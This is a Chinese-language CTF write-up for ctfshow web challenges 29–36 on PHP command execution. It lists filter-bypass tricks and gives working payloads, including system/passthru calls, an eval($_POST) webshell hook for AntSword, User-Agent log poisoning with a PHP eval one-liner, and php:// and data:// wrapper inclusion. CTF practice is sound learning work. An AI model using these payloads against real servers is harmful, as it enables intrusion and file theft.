ctfshow web 命令执行 29~36

#假期不断电,但是真的不想写作业,写点命令执行好了


  • web 29

    if (!preg_match (“/flag/i”, $c))
    所以flag被过滤了,且/i说明不区分大小写,不管那么多,先找到flag在哪里,构造payload:

    ?c=system("ls");
    

    发现存在文件flag.php,那很简单啦
    常见绕过方法有:

    1. 通配符

      1. ?通配符匹配单个字母

      2. *通配符匹配多个字母

      3. [x-x]或者是{x,x,x,x}

    2. 单双引号

      1. 单引号

      2. 双引号

      3. 反斜杠

      以cat指令为例,假如cat被过滤了,我们可以通过ca''t ca""t c"a"t ca\t这样来bypass

    3. 编码绕过
      比如用base64编码

    4. 变量赋值(拼贴)
      假如我们要执行指令whoami,我们可以 a=who;b=ami;$a.$b这样就会执行whoami指令

    本题可以构造payload:

    ?c=system("tac fla?.php");
    

    当然,还有很多绕过方法,都可以试试的

  • web 30

    过滤了flag、system、php,这里引入一下命令函数好了

    命令函数又分为有回显无回显

    有回显函数:

    1. system

    2. passthru

    3. pcntl_exec

      比较特殊,不可以在windows下运行

    无回显函数:

    1. exec

    2. shell_exec

    3. popen

      他的返回值是一个流,我们需要用fread函数读取

    4. 反引号

    其中有回显的直接执行就可以,无回显的需要类似于echo的操作才能看到执行结果

    例如本题可以构造payload:

    ?c=passthru("ls");
    ?c=echo `ls`;
    

    然后找到flag位置,用类似上一题的构造就可以拿到flag了

    但是本题使用?c=echo exec("ls");不太行,只能显示出index.php,具体原因我也不太清楚

    当然,如果你比较念旧,依旧想用system函数,也可以通过上一题介绍的过滤方法,例如:

    ?c=$a=sys;$b=tem;$d=$a.$b;$d("ls");
    
  • web 31

    空格和小数点被过滤了,但是空格过滤也是有绕过方法的

    空格绕过(并非每道题目都适用):

    1. 使用url编码:%20

    2. Tab键替代:%09

    3. 非断行空格:%a0

    4. 利用shell变量:$IFS$9

    5. 使用花括号,将命令和参数用逗号分隔并包裹在花括号中,比如

      {cat,flag}
      
    6. 使用重定向符号:<>

    7. 十六进制表示空格的ASCII编码:\x20

    这题依旧多种解法:

    1. 常规绕过:

      本题可以先用?c=passthru("ls");找出flag,再构造payload:

      ?c=passthru("tac\$IFS\$9fla*");
      ?c=passthru("tac%09fla*");
      

      $前加上反斜杠\表转义,防止$被php解释为变量,$IFS$9只有在shell命令中被解释为空格

    2. 嵌套eval函数:

      可以通过构造payload:

      ?c=eval($_GET[a]);&a=system('tac flag.php');
      
    3. 蚁剑连接:

      构造payload:

      ?c=eval($_POST[1]);
      

      连接中国蚁剑

      请添加图片描述

      然后flag就开袋即食了

    4. 日志注入(感觉昨天用了一天了

      流程和昨天的文件包含差不多,查看web服务器后

      构造payload:

      ?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log 
      

      修改请求头

      User-Agent: <?php @eval($_POST['cmd']); ?>
      

      看看成效
      请添加图片描述

      嗯嗯,不错不错(应该没人发现这是web32的截图吧),接着蚁剑连接

      请添加图片描述

      依旧开袋即食

  • web 32~35

    左括号也被过滤了,这时可以用文件包含的方法解决该问题

    只需构造payload:

    ?c=include%0a$_GET[1]?>&1=伪协议
    

    伪协议详情可看我昨天发的文件包含,例如:

    ?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
    
    ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
    
    
    ?c=include%0a$_GET[1]?>&1=php://input
    post数据:<?php system("tac flag.php")?>
    

    %0a可有可无

    当然也可以用日志注入,具体步骤同上题

  • web 36

    本来也想放上面一块的,但还是说一声,因为这题过滤数字,把上面方法的参数1改成字母就可以了(文件包含还不超标?


#本来还想做几题的,但是web37是文件包含,昨天做一天这类型了,今天歇会,晚点做做文件上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值